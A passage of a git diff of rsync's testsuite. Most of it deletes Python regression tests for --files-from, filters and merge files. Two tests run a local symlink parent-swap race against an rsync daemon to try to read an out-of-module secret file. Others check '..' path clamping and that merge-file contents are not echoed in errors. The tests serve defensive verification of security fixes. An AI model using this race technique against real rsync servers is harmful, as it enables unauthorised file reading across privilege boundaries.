rel, label=f'--from0 comment list skipped {rel}')\n-\n-# --- --exclude-from drops matching files at depth ---------------------------\n-seed()\n-(src / 'a.skip').write_text('s\\n')\n-(src / 'd1' / 'd2' / 'a.skip').write_text('s\\n')\n-ef = SCRATCHDIR / 'excl.lst'\n-ef.write_text('*.skip\\n')\n-run_rsync('-a', f'--exclude-from={ef}', f'{src}/', f'{TODIR}/')\n-assert_not_exists(TODIR / 'a.skip', label='--exclude-from top')\n-assert_not_exists(TODIR / 'd1' / 'd2' / 'a.skip', label='--exclude-from deep')\n-assert_same(TODIR / 'd1' / 'd2' / 'f2', src / 'd1' / 'd2' / 'f2',\n-            label='--exclude-from kept others')\n-\n-# --- --include-from keeps only matching files at depth ----------------------\n-seed()\n-(src / 'd1' / 'd2' / 'k.keepme').write_text('k\\n')\n-inc = SCRATCHDIR / 'inc.lst'\n-inc.write_text('*/\\n*.keepme\\n')\n-run_rsync('-a', f'--include-from={inc}', '--exclude=*', f'{src}/', f'{TODIR}/')\n-assert_exists(TODIR / 'd1' / 'd2' / 'k.keepme', label='--include-from kept')\n-assert_not_exists(TODIR / 'd1' / 'd2' / 'f2', label='--include-from excluded rest')\n-\n-print(\"files-from-depth: --files-from/--from0/--exclude-from/--include-from at depth\")\ndiff --git a/testsuite/files-from-leak_test.py b/testsuite/files-from-leak_test.py\ndeleted file mode 100644\nindex b310860..0000000\n--- a/testsuite/files-from-leak_test.py\n+++ /dev/null\n@@ -1,207 +0,0 @@\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, find_attacker_uid, rmtree, rsync_argv,\n-    start_c_flipper, stop_flipper, test_fail, test_skipped, start_test_daemon,\n-    write_daemon_conf,\n-)\n-\n-# A daemon serving a writable, non-chrooted module creates --backup-dir backups\n-# with its own (root) ownership.  A parent-swap race can leave a root-owned\n-# backup symlink whose target escapes the module.  Because open_no_attacker_symlinks()\n-# follows a symlink owned by uid 0 / the euid, a later --files-from=:LIST that names\n-# that backup symlink would read an out-of-module file's content as the file list --\n-# unless the files-from open is module-root confined.  RED before that confinement,\n-# GREEN after.\n-\n-PORT = 13333\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-SECRET = \"NO_ONE_SHOULD_README\\n\"\n-NFILES = 80\n-root = SCRATCHDIR / 'files-from'\n-root.mkdir()\n-base = root / 'base'\n-outside = base / 'outside'\n-src = base / 'src'\n-dest = base / 'dest'\n-backup = base / 'backup'\n-sub = backup / 'sub'\n-sublink = backup / '.sublink'\n-files_from = \"\"\n-\n-secret = root / 'secret'\n-secret.write_text(SECRET)\n-\n-\n-def build():\n-    \"\"\"Reset the workspace.  Call only while the flipper is stopped.\"\"\"\n-    rmtree(base)\n-    for d in (src / 'sub', dest / 'sub', backup, outside):\n-        d.mkdir(parents=True, exist_ok=True)\n-\n-    # Distinct source and destination symlink values so each transfer overwrites\n-    # the destination symlink and thus triggers a backup of the old one.\n-    for i in range(NFILES):\n-        (src / 'sub' / f'f{i}').symlink_to('test')\n-        (dest / 'sub' / f'f{i}').symlink_to(f'{secret}')\n-        os.lchown(src / 'sub' / f'f{i}', ATT_UID, ATT_UID)\n-        os.lchown(dest / 'sub' / f'f{i}', ATT_UID, ATT_UID)\n-\n-    # The attacker-owned parent-swap target: a symlink to the outside directory.\n-    os.symlink(str(outside), sublink)\n-    os.lchown(sublink, ATT_UID, ATT_UID)\n-    sub.mkdir(parents=True, exist_ok=True)\n-\n-\n-def push():\n-    \"\"\"Blocking rsync push that backs up the old destination symlinks.\"\"\"\n-    return subprocess.run(\n-        rsync_argv('-a', '-b', '--backup-dir=/backup/',\n-                   f'{src}/', f'rsync://127.0.0.1:{PORT}/m/dest/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    )\n-\n-\n-def leak():\n-    \"\"\"Attempt to read a secret via files-from through the root-owned symlink.\"\"\"\n-    proc = subprocess.run(\n-        rsync_argv('-a', f'--files-from=:backup/sub/{files_from}',\n-                   f'rsync://127.0.0.1:{PORT}/m/', f'{dest}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-    )\n-    if \"NO_ONE_SHOULD\" in proc.stdout:\n-        test_fail(f\"{secret.name} is leaked!\\n\\nOutput: {proc.stdout}\")\n-\n-\n-def normalize_sub():\n-    \"\"\"If the flipper stopped with `sub` as the attacker symlink while the real\n-    backup directory sits at `.sublink`, put the real dir back at `sub` so the\n-    daemon path backup/sub/<name> (and our scandir) see the real backups.\n-\n-    Best-effort only: the non-atomic (non-Linux) flipper swaps via a `sub.flip`\n-    scratch name and can be killed mid-rename, leaving `sub` absent or the real\n-    dir parked at `.flip`.  Any state we can't cleanly settle is left as-is and\n-    treated by the caller as 'no win this round'.\"\"\"\n-    try:\n-        if sub.is_symlink() and sublink.is_dir() and not sublink.is_symlink():\n-            sub.unlink()\n-            sublink.rename(sub)\n-    except OSError:\n-        pass\n-\n-\n-def root_owned_backup_symlink():\n-    \"\"\"Return the name of a root-owned backup symlink directly in `sub`, or \"\".\n-\n-    Never raises: a swap killed mid-rename can leave `sub` absent or a symlink,\n-    which just means no usable win this round -- the caller rebuilds and retries.\"\"\"\n-    normalize_sub()\n-    try:\n-        if sub.is_symlink() or not sub.is_dir():\n-            return \"\"\n-        with os.scandir(sub) as it:\n-            for entry in it:\n-                if entry.is_symlink() and entry.stat(follow_symlinks=False).st_uid == 0:\n-                    return entry.name\n-    except (FileNotFoundError, NotADirectoryError):\n-        return \"\"\n-    return \"\"\n-\n-\n-# Positive control: a clean run (no flipper) must back the old destination\n-# symlink into the backup tree, proving this transfer shape exercises the backup\n-# symlink path.  A broken fixture or an rsync that errors early fails here loudly\n-# instead of passing the race vacuously.\n-conf = write_daemon_conf(\n-    [('m', {'path': str(base), 'read only': 'no', 'use chroot': 'no'})],\n-    name='files-from-rsyncd.conf',\n-)\n-start_test_daemon(conf, PORT)\n-\n-build()\n-proc = push()\n-if proc.returncode != 0:\n-    test_fail(f\"positive control: clean --backup-dir run failed (rc={proc.returncode})\")\n-if not (sub / 'f0').is_symlink() or os.readlink(sub / 'f0') != f'{secret}':\n-    test_fail(\n-        \"positive control: the old destination symlink was not backed up into \"\n-        f\"{sub}; the backup symlink path was not exercised\"\n-    )\n-\n-\n-# ---- THE LIVE RACE ---------------------------------------------------------\n-# Repeatedly push under the parent-swap flipper until a root-owned backup symlink\n-# lands in `sub`.  Reset the workspace only while the flipper is quiet so build()'s\n-# rmtree/mkdir can't race the swapper.\n-\n-deadline = time.monotonic() + race_budget(10.0)\n-flip = None\n-try:\n-    while time.monotonic() < deadline:\n-        if flip is not None:\n-            stop_flipper(flip)\n-            flip = None\n-\n-        files_from = root_owned_backup_symlink()\n-        if files_from:\n-            break\n-\n-        build()\n-        flip = start_c_flipper(sub, sublink)\n-        push()\n-finally:\n-    if flip is not None:\n-        stop_flipper(flip)\n-\n-if not files_from:\n-    # The leak needs a root-owned backup symlink, which only appears when the\n-    # parent-swap race makes make_backup() fall back to creating the symlink\n-    # itself.  Winning that window reliably needs the atomic renameat2(EXCHANGE)\n-    # flipper (Linux); on platforms that fall back to the non-atomic flipper the\n-    # window may never be hit within the budget.  Can't mount the attack here, so\n-    # there's nothing to assert -- skip rather than fail.\n-    test_skipped(\"race did not produce a root-owned backup symlink (no atomic flipper?)\")\n-\n-# Non-vacuous GREEN precondition: the symlink we exploit must genuinely target a\n-# secret OUTSIDE the module, so marker-absence proves module-root confinement\n-# refused it -- not that the attack was never mounted.\n-tgt = os.readlink(sub / files_from)\n-if os.path.realpath(tgt) != os.path.realpath(str(secret)):\n-    test_fail(f\"setup failed: backup symlink {files_from} -> {tgt}, not the out-of-module secret\")\n-\n-leak()\n-\n-# ---- LOCAL COMMAND CONFINEMENT EDGE CASE -----------------------------------\n-# A local operator invoking --confine-root should still be able to specify a\n-# --files-from file that resides outside the confined boundary. The file is\n-# opened locally by the operator, not as an operator-path via a daemon, so\n-# it should not trip the path-walker ELOOP block.\n-\n-local_files_from = root / 'local_files_from.txt'\n-local_file = src / 'sub' / 'files-from-local'\n-local_file.write_text('local files-from content\\n')\n-local_files_from.write_text('sub/files-from-local\\n')\n-\n-local_proc = subprocess.run(\n-    rsync_argv('-a', f'--confine-root={base}', f'--files-from={local_files_from}',\n-               f'{src}/', f'{dest}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-)\n-\n-copied = dest / 'sub' / 'files-from-local'\n-if (local_proc.returncode != 0 or not copied.is_file()\n-        or copied.read_text() != 'local files-from content\\n'):\n-    test_fail(\n-        \"Local --files-from transfer did not copy the listed file while the \"\n-        \"list was outside --confine-root.\\n\"\n-        f\"Output: {local_proc.stdout}\"\n-    )\ndiff --git a/testsuite/files-from-path-clamp_test.py b/testsuite/files-from-path-clamp_test.py\ndeleted file mode 100644\nindex b94225b..0000000\n--- a/testsuite/files-from-path-clamp_test.py\n+++ /dev/null\n@@ -1,65 +0,0 @@\n-\"\"\"Pin how `--files-from` treats a leading slash and \"..\" components.\n-\n-The rsync(1) `--files-from` entry states the goal but not the mechanism: \"any\n-leading slashes are removed and no '..' references are allowed to go higher than\n-the source dir.\"  \"are removed\" / \"are not allowed\" don't say what actually\n-happens to such an entry.  Measured behaviour:\n-\n-  - a leading \"/\" is stripped and the entry is taken relative to the source dir;\n-  - a \"..\" component is CLAMPED (trimmed) so the path cannot rise above the\n-    source dir -- \"../keep\" resolves to \"<source>/keep\", NOT the parent's \"keep\".\n-\n-So an entry that tries to escape silently resolves back inside the source; it\n-does not error out by virtue of the \"..\", and it never reaches a sibling of the\n-source.  Pure local client behaviour: no daemon/root/tcp.  Cross-version:\n-expected identical against --rsync-bin=old_versions/rsync_3.2.7.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-base = SCRATCHDIR / 'files-from-clamp'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-src = base / 'src'\n-src.mkdir()\n-(src / 'file').write_text('INSRC-FILE\\n')\n-(src / 'keep').write_text('INSRC-KEEP\\n')          # what \"../keep\" must clamp to\n-# A sibling of the source with the SAME basename: a real escape would grab this.\n-(base / 'keep').write_text('OUTSIDE-KEEP-MUST-NOT-APPEAR\\n')\n-\n-listf = base / 'list'\n-# leading-slash entry, a normal entry, and an escaping \"../keep\".\n-listf.write_text('/file\\nkeep\\n../keep\\n')\n-\n-dst = base / 'dst'\n-rmtree(dst)\n-dst.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-a', f'--files-from={listf}', f'{src}/', f'{dst}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-# leading \"/\" stripped -> taken relative to the source.\n-f = dst / 'file'\n-if not f.is_file() or f.read_text() != 'INSRC-FILE\\n':\n-    test_fail(\"--files-from: leading-slash '/file' was not transferred relative \"\n-              \"to the source dir\")\n-\n-# \"keep\" and the clamped \"../keep\" both resolve to <source>/keep, never the\n-# parent's keep -> the escape was prevented.\n-k = dst / 'keep'\n-if not k.is_file():\n-    test_fail(\"--files-from: 'keep' did not transfer\")\n-if k.read_text() != 'INSRC-KEEP\\n':\n-    test_fail(f\"--files-from: '../keep' escaped the source dir -- dst/keep is \"\n-              f\"{k.read_text()!r}, expected the in-source 'INSRC-KEEP'\")\n-\n-# No file should have landed outside dst (no sibling-of-dst named 'keep' created).\n-if (base / 'keep').read_text() != 'OUTSIDE-KEEP-MUST-NOT-APPEAR\\n':\n-    test_fail(\"--files-from: the outside 'keep' was modified\")\n-\n-print(\"files-from-path-clamp: leading '/' stripped (entry taken relative to the \"\n-      \"source); '..' is clamped within the source dir so '../keep' resolves to \"\n-      \"<source>/keep and cannot reach a sibling of the source\")\ndiff --git a/testsuite/files-from.test b/testsuite/files-from.test\nnew file mode 100644\nindex 0000000..207eab5\n--- /dev/null\n+++ b/testsuite/files-from.test\n@@ -0,0 +1,45 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2008-2020 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that --files-from=FILE works right.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+SSH=\"$scratchdir/src/support/lsh.sh\"\n+\n+hands_setup\n+\n+# This list of files skips the contents of \"subsubdir\" but includes\n+# the contents of \"subsubdir2\" due to its trailing slash.\n+cat >\"$scratchdir/filelist\" <<EOT\n+from/./\n+from/./dir/subdir\n+from/./dir/subdir/subsubdir\n+from/./dir/subdir/subsubdir2/\n+from/./dir/subdir/foobar.baz\n+EOT\n+\n+# Create a chkdir without the content that we expect to be omitted.\n+$RSYNC -a --exclude=dir/text --exclude='subsubdir/**' \"$fromdir/\" \"$chkdir/\"\n+\n+checkit \"$RSYNC -av --files-from='$scratchdir/filelist' '$scratchdir' '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+for filehost in '' 'localhost:'; do\n+    for srchost in '' 'localhost:'; do\n+\tif [ -z \"$srchost\" ]; then\n+\t    desthost='localhost:'\n+\telse\n+\t    desthost=''\n+\tfi\n+\n+\trm -rf \"$todir\"\n+\tcheckit \"$RSYNC -avse '$SSH' --rsync-path='$RSYNC' --files-from='$filehost$scratchdir/filelist' '$srchost$scratchdir' '$desthost$todir/'\" \"$chkdir\" \"$todir\"\n+    done\n+done\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/files-from_test.py b/testsuite/files-from_test.py\ndeleted file mode 100644\nindex faab43b..0000000\n--- a/testsuite/files-from_test.py\n+++ /dev/null\n@@ -1,51 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/files-from.test.\n-#\n-# Verify that --files-from=LIST drives rsync correctly both for a plain\n-# local sync and across the lsh.sh \"remote shell\" with each of the four\n-# files-host / src-host / dest-host placement combinations.\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, RSYNC, RSYNC_PEER, SCRATCHDIR, SRCDIR, TODIR,\n-    checkit, hands_setup, rmtree, run_rsync, rsync_path_arg, rsh_cmd,\n-)\n-\n-\n-SSH = rsh_cmd()\n-\n-hands_setup()\n-\n-# Files-from list: skip the contents of subsubdir but include subsubdir2/\n-# in full (the trailing slash on subsubdir2/ is what flips it).\n-filelist = SCRATCHDIR / 'filelist'\n-filelist.write_text(\n-    \"from/./\\n\"\n-    \"from/./dir/subdir\\n\"\n-    \"from/./dir/subdir/subsubdir\\n\"\n-    \"from/./dir/subdir/subsubdir2/\\n\"\n-    \"from/./dir/subdir/foobar.baz\\n\"\n-)\n-\n-# chkdir is what we expect the transfer to produce: source minus\n-# dir/text and minus everything under subsubdir/.\n-run_rsync('-a', '--exclude=dir/text', '--exclude=subsubdir/**',\n-          f'{FROMDIR}/', f'{CHKDIR}/')\n-\n-# Local case.\n-checkit(['-av', f'--files-from={filelist}', str(SCRATCHDIR), f'{TODIR}/'],\n-        CHKDIR, TODIR)\n-\n-# All four combinations of files-host / source-host / dest-host across the\n-# lsh.sh \"remote shell\".  In each loop iteration exactly one of source or\n-# dest is remote (matches the original test's branch logic).\n-for filehost in ('', 'localhost:'):\n-    for srchost in ('', 'localhost:'):\n-        desthost = 'localhost:' if not srchost else ''\n-\n-        rmtree(TODIR)\n-        checkit(\n-            ['-avse', SSH, f'--rsync-path={rsync_path_arg()}',\n-             f'--files-from={filehost}{filelist}',\n-             f'{srchost}{SCRATCHDIR}', f'{desthost}{TODIR}/'],\n-            CHKDIR, TODIR,\n-        )\ndiff --git a/testsuite/filter-depth_test.py b/testsuite/filter-depth_test.py\ndeleted file mode 100644\nindex 9e4c99f..0000000\n--- a/testsuite/filter-depth_test.py\n+++ /dev/null\n@@ -1,71 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --exclude / --include / --filter / -F at depth.\n-\n-The interesting case for the resolver restructure is a per-directory merge file\n-(-F reads .rsync-filter from each directory as it descends): the rule set is\n-loaded from a file several levels deep and must apply to that directory and\n-below, but not above. Also check plain --exclude / --include precedence on\n-files spread through the tree.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_exists, assert_not_exists, assert_same, makepath, rmtree, run_rsync,\n-)\n-\n-src = FROMDIR\n-\n-\n-def seed_ext():\n-    \"\"\"A tree with a .log and a .txt at every level.\"\"\"\n-    rmtree(src)\n-    rmtree(TODIR)\n-    cur = src\n-    for lvl in range(4):\n-        cur.mkdir(parents=True, exist_ok=True)\n-        (cur / f'keep{lvl}.txt').write_text(f'txt {lvl}\\n')\n-        (cur / f'drop{lvl}.log').write_text(f'log {lvl}\\n')\n-        cur = cur / f'd{lvl + 1}'\n-\n-\n-# --- --exclude drops matching files at every level --------------------------\n-seed_ext()\n-run_rsync('-a', '--exclude=*.log', f'{src}/', f'{TODIR}/')\n-cur = TODIR\n-for lvl in range(4):\n-    assert_exists(cur / f'keep{lvl}.txt', label=f'--exclude kept txt L{lvl}')\n-    assert_not_exists(cur / f'drop{lvl}.log', label=f'--exclude dropped log L{lvl}')\n-    cur = cur / f'd{lvl + 1}'\n-\n-# --- --include before --exclude='*' keeps only .txt at every level ----------\n-seed_ext()\n-run_rsync('-a', '--include=*/', '--include=*.txt', '--exclude=*',\n-          f'{src}/', f'{TODIR}/')\n-cur = TODIR\n-for lvl in range(4):\n-    assert_exists(cur / f'keep{lvl}.txt', label=f'--include txt L{lvl}')\n-    assert_not_exists(cur / f'drop{lvl}.log', label=f'--include excluded log L{lvl}')\n-    cur = cur / f'd{lvl + 1}'\n-\n-# --- -F per-directory merge file loaded from a deep directory ---------------\n-# .rsync-filter at d1/d2 excludes \"secret*\" for d1/d2 and below only.\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / 'd1' / 'd2' / 'd3')\n-for rel in ('secret.top', 'd1/secret.mid', 'd1/d2/secret.deep',\n-            'd1/d2/d3/secret.deeper'):\n-    (src / rel).write_text('x\\n')\n-(src / 'd1' / 'd2' / '.rsync-filter').write_text('- secret*\\n')\n-\n-run_rsync('-aF', f'{src}/', f'{TODIR}/')\n-# Above the merge file: not affected.\n-assert_exists(TODIR / 'secret.top', label='-F above merge dir')\n-assert_exists(TODIR / 'd1' / 'secret.mid', label='-F above merge dir')\n-# At and below the merge file: excluded.\n-assert_not_exists(TODIR / 'd1' / 'd2' / 'secret.deep', label='-F at merge dir')\n-assert_not_exists(TODIR / 'd1' / 'd2' / 'd3' / 'secret.deeper',\n-                  label='-F below merge dir')\n-\n-print(\"filter-depth: --exclude/--include precedence and -F per-dir merge at depth\")\ndiff --git a/testsuite/filter-leak_test.py b/testsuite/filter-leak_test.py\ndeleted file mode 100644\nindex 9931937..0000000\n--- a/testsuite/filter-leak_test.py\n+++ /dev/null\n@@ -1,183 +0,0 @@\n-import os\n-import subprocess\n-import time\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, find_attacker_uid, rmtree, rsync_argv,\n-    start_c_flipper, stop_flipper, test_fail, test_skipped, start_test_daemon,\n-    write_daemon_conf,\n-)\n-\n-# A daemon serving a writable, non-chrooted module creates --backup-dir backups\n-# with its own (root) ownership.  A parent-swap race can leave a root-owned\n-# backup symlink whose target escapes the module.  Because open_no_attacker_symlinks()\n-# follows a symlink owned by uid 0 / the euid, a later --filter=:LIST that names\n-# that backup symlink would read an out-of-module file's content as the filter list --\n-# unless the filter open is module-root confined.  RED before that confinement,\n-# GREEN after.\n-\n-PORT = 13333\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-SECRET = \"NO_ONE_SHOULD_README\\n\"\n-NFILES = 80\n-root = SCRATCHDIR / 'filter'\n-root.mkdir()\n-base = root / 'base'\n-outside = base / 'outside'\n-src = base / 'src'\n-dest = base / 'dest'\n-backup = base / 'backup'\n-sub = backup / 'sub'\n-sublink = backup / '.sublink'\n-filter_arg = \"\"\n-\n-secret = root / 'secret'\n-secret.write_text(SECRET)\n-\n-\n-def build():\n-    \"\"\"Reset the workspace.  Call only while the flipper is stopped.\"\"\"\n-    rmtree(base)\n-    for d in (src / 'sub', dest / 'sub', backup, outside):\n-        d.mkdir(parents=True, exist_ok=True)\n-\n-    # Distinct source and destination symlink values so each transfer overwrites\n-    # the destination symlink and thus triggers a backup of the old one.\n-    for i in range(NFILES):\n-        (src / 'sub' / f'f{i}').symlink_to('test')\n-        (dest / 'sub' / f'f{i}').symlink_to(f'{secret}')\n-        os.lchown(src / 'sub' / f'f{i}', ATT_UID, ATT_UID)\n-        os.lchown(dest / 'sub' / f'f{i}', ATT_UID, ATT_UID)\n-\n-    # The attacker-owned parent-swap target: a symlink to the outside directory.\n-    os.symlink(str(outside), sublink)\n-    os.lchown(sublink, ATT_UID, ATT_UID)\n-    sub.mkdir(parents=True, exist_ok=True)\n-\n-\n-def push():\n-    \"\"\"Blocking rsync push that backs up the old destination symlinks.\"\"\"\n-    return subprocess.run(\n-        rsync_argv('-a', '-b', '--backup-dir=/backup/',\n-                   f'{src}/', f'rsync://127.0.0.1:{PORT}/m/dest/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    )\n-\n-\n-def leak():\n-    \"\"\"Attempt to read a secret via filter through the root-owned symlink.\"\"\"\n-\n-    proc = subprocess.run(\n-        rsync_argv('-a', f'--filter=: {filter_arg}',\n-                   f'rsync://127.0.0.1:{PORT}/m/backup/sub/', f'{dest}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-    )\n-    if \"NO_ONE_SHOULD\" in proc.stdout:\n-        test_fail(f\"{secret.name} is leaked!\\n\\nOutput: {proc.stdout}\")\n-\n-\n-def normalize_sub():\n-    \"\"\"If the flipper stopped with `sub` as the attacker symlink while the real\n-    backup directory sits at `.sublink`, put the real dir back at `sub` so the\n-    daemon path backup/sub/<name> (and our scandir) see the real backups.\n-\n-    Best-effort only: the non-atomic (non-Linux) flipper swaps via a `sub.flip`\n-    scratch name and can be killed mid-rename, leaving `sub` absent or the real\n-    dir parked at `.flip`.  Any state we can't cleanly settle is left as-is and\n-    treated by the caller as 'no win this round'.\"\"\"\n-    try:\n-        if sub.is_symlink() and sublink.is_dir() and not sublink.is_symlink():\n-            sub.unlink()\n-            sublink.rename(sub)\n-    except OSError:\n-        pass\n-\n-\n-def root_owned_backup_symlink():\n-    \"\"\"Return the name of a root-owned backup symlink directly in `sub`, or \"\".\n-\n-    Never raises: a swap killed mid-rename can leave `sub` absent or a symlink,\n-    which just means no usable win this round -- the caller rebuilds and retries.\"\"\"\n-    normalize_sub()\n-    try:\n-        if sub.is_symlink() or not sub.is_dir():\n-            return \"\"\n-        with os.scandir(sub) as it:\n-            for entry in it:\n-                if entry.is_symlink() and entry.stat(follow_symlinks=False).st_uid == 0:\n-                    return entry.name\n-    except (FileNotFoundError, NotADirectoryError):\n-        return \"\"\n-    return \"\"\n-\n-\n-# Positive control: a clean run (no flipper) must back the old destination\n-# symlink into the backup tree, proving this transfer shape exercises the backup\n-# symlink path.  A broken fixture or an rsync that errors early fails here loudly\n-# instead of passing the race vacuously.\n-conf = write_daemon_conf(\n-    [('m', {'path': str(base), 'read only': 'no', 'use chroot': 'no'})],\n-    name='filter-rsyncd.conf',\n-)\n-start_test_daemon(conf, PORT)\n-\n-build()\n-proc = push()\n-if proc.returncode != 0:\n-    test_fail(f\"positive control: clean --backup-dir run failed (rc={proc.returncode})\")\n-if not (sub / 'f0').is_symlink() or os.readlink(sub / 'f0') != f'{secret}':\n-    test_fail(\n-        \"positive control: the old destination symlink was not backed up into \"\n-        f\"{sub}; the backup symlink path was not exercised\"\n-    )\n-\n-\n-# ---- THE LIVE RACE ---------------------------------------------------------\n-# Repeatedly push under the parent-swap flipper until a root-owned backup symlink\n-# lands in `sub`.  Reset the workspace only while the flipper is quiet so build()'s\n-# rmtree/mkdir can't race the swapper.\n-\n-deadline = time.monotonic() + race_budget(10.0)\n-flip = None\n-try:\n-    while time.monotonic() < deadline:\n-        if flip is not None:\n-            stop_flipper(flip)\n-            flip = None\n-\n-        filter_arg = root_owned_backup_symlink()\n-        if filter_arg:\n-            break\n-\n-        build()\n-        flip = start_c_flipper(sub, sublink)\n-        push()\n-finally:\n-    if flip is not None:\n-        stop_flipper(flip)\n-\n-if not filter_arg:\n-    # The leak needs a root-owned backup symlink, which only appears when the\n-    # parent-swap race makes make_backup() fall back to creating the symlink\n-    # itself.  Winning that window reliably needs the atomic renameat2(EXCHANGE)\n-    # flipper (Linux); on platforms that fall back to the non-atomic flipper the\n-    # window may never be hit within the budget.  Can't mount the attack here, so\n-    # there's nothing to assert -- skip rather than fail.\n-    test_skipped(\"race did not produce a root-owned backup symlink (no atomic flipper?)\")\n-\n-# Non-vacuous GREEN precondition: the symlink we exploit must genuinely target a\n-# secret OUTSIDE the module, so marker-absence proves module-root confinement\n-# refused it -- not that the attack was never mounted.\n-tgt = os.readlink(sub / filter_arg)\n-if os.path.realpath(tgt) != os.path.realpath(str(secret)):\n-    test_fail(f\"setup failed: backup symlink {filter_arg} -> {tgt}, not the out-of-module secret\")\n-\n-leak()\ndiff --git a/testsuite/filter-merge-content-echo_test.py b/testsuite/filter-merge-content-echo_test.py\ndeleted file mode 100644\nindex 7306221..0000000\n--- a/testsuite/filter-merge-content-echo_test.py\n+++ /dev/null\n@@ -1,294 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A merge file's contents must not come back in a filter syntax error.\n-\n-A per-directory merge rule names a file the peer chooses and that travels over\n-the protocol, so no argument of ours ever mentions it.  Echoing an unparsable\n-line back made the filter parser a read-any-line oracle: every line that is not\n-valid filter syntax was returned verbatim to the client.  The diagnostic must\n-say where the bad rule is, not what it says.\n-\n-Rules that came from an ARGUMENT are still echoed -- that text is the user's\n-own and hiding it would only make ordinary typos harder to fix.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv\n-\n-SECRET = 'TOP-SECRET-PASSWORD-abc123'\n-\n-base = SCRATCHDIR / 'filter-merge-content-echo'\n-rmtree(base)\n-src = base / 'src'\n-dest = base / 'dest'\n-makepath(src, dest)\n-(src / 'f').write_bytes(b'hi\\n')\n-\n-# Not valid filter syntax, so the parser reports it -- this stands in for any\n-# non-filter file on the server: a key, a password store, a config.\n-secret = base / 'secret'\n-secret.write_text(SECRET + '\\n')\n-\n-# The reachable shape: a per-dir merge file whose own contents name the target.\n-(src / '.rsync-filter').write_text(': ../secret\\n')\n-got = subprocess.run(rsync_argv('-r', '-F', f'{src}/', f'{dest}/'),\n-                     capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert got.returncode != 0, (\n-    f'the unparsable merge rule was accepted, so this test no longer '\n-    f'exercises the error path: rc={got.returncode}, out={out!r}')\n-assert SECRET not in out, (\n-    'the contents of a merged file were echoed back in the filter error, so a '\n-    f'peer that can choose the merge path can read any line: out={out!r}')\n-# The merged file's own PATH came from a rule too (the .rsync-filter names it),\n-# so it cannot be printed either -- but the diagnostic still has to say enough\n-# to be actionable.\n-assert 'a file read earlier' in out, (\n-    'the error says nothing at all about where the bad rule was, leaving no '\n-    f'way to act on it: out={out!r}')\n-\n-# Same for a merge file reached by an explicit argument: the text is still file\n-# content, and --filter='. FILE' is how an operator-supplied list is read.\n-(base / 'rules').write_text(SECRET + '\\n')\n-got = subprocess.run(\n-    rsync_argv('-r', f'--filter=. {base}/rules', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert got.returncode != 0 and SECRET not in out, (\n-    f'a --filter=. merge file echoed its contents: rc={got.returncode}, '\n-    f'out={out!r}')\n-# This one WAS named by an argument, so its own path is the user's own text and\n-# is still shown -- the location must not be thrown away wholesale.\n-assert 'rules line 1' in out, (\n-    'a merge file named by an argument should still be located precisely: '\n-    f'out={out!r}')\n-\n-# A file merged FROM a file cannot show its own path, but the place that named\n-# it can be shown, and is what the user needs to fix.\n-(base / 'outer-known').write_text(f'. {base}/inner-bad\\n')\n-(base / 'inner-bad').write_text(SECRET + '\\n')\n-got = subprocess.run(\n-    rsync_argv('-r', f'--filter=. {base}/outer-known', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert SECRET not in out and 'inner-bad' not in out, (\n-    f'the indirectly named merge file leaked its own path: out={out!r}')\n-assert 'a file named at' in out and 'outer-known line 1' in out, (\n-    'the error does not point at the rule that named the bad file, which is '\n-    f'the only thing the user can act on: out={out!r}')\n-\n-# ...but a rule given AS an argument must still be shown, or an ordinary typo\n-# becomes undiagnosable.\n-got = subprocess.run(\n-    rsync_argv('-r', '--filter=Zbogus-rule-text', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert got.returncode != 0 and 'Zbogus-rule-text' in out, (\n-    'a bad rule given on the command line is no longer echoed, which is a '\n-    f'usability regression rather than a leak: rc={got.returncode}, out={out!r}')\n-\n-# An ordinary, VALID merge file must still work -- the diagnostic change must\n-# not have broken merge parsing itself.\n-(src / '.rsync-filter').write_text('- *.tmp\\n')\n-(src / 'keep.txt').write_bytes(b'keep\\n')\n-(src / 'drop.tmp').write_bytes(b'drop\\n')\n-ok = 